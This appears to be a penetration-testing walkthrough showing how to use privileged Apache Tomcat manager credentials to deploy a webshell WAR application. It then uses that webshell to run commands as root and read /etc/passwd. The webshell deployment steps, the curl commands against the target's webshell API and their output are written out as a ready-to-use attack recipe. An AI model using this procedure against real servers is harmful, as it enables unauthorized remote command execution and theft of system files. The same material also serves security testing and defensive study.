Apache Tomcat - Deploy an Application

Requirements

  • A valid username and password of a user with high privileges on Apache Tomcat.

Exploitation

Step 1: Access the Tomcat manager and upload the webshell application

First of all, you will need to access the Apache Tomcat /manager page at http://TARGET:10080/manager/html, and connect to it with an high privilege account of the Apache Tomcat server.

Compile the webshell application or download a release here: https://github.com/p0dalirius/Tomcat-application-webshell/. Then choose the WAR file of the webshell application and click on "Deploy":

And the application is deployed:

Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://TARGET:10080/webshell/api with action=exec&cmd=id:

$ curl -X POST 'http://TARGET:10080/webshell/api' --data "action=exec&cmd=id"
{"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","stderr":"","exec":["/bin/bash","-c","id"]}

You can also access it by a GET request from a browser:

Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://TARGET:10080/webshell/api with action=download&cmd=/etc/passwd:

$ curl -X POST 'http://TARGET:10080/webshell/api' --data "action=download&path=/etc/passwd" -o-

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Step 3: The interactive console

When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.
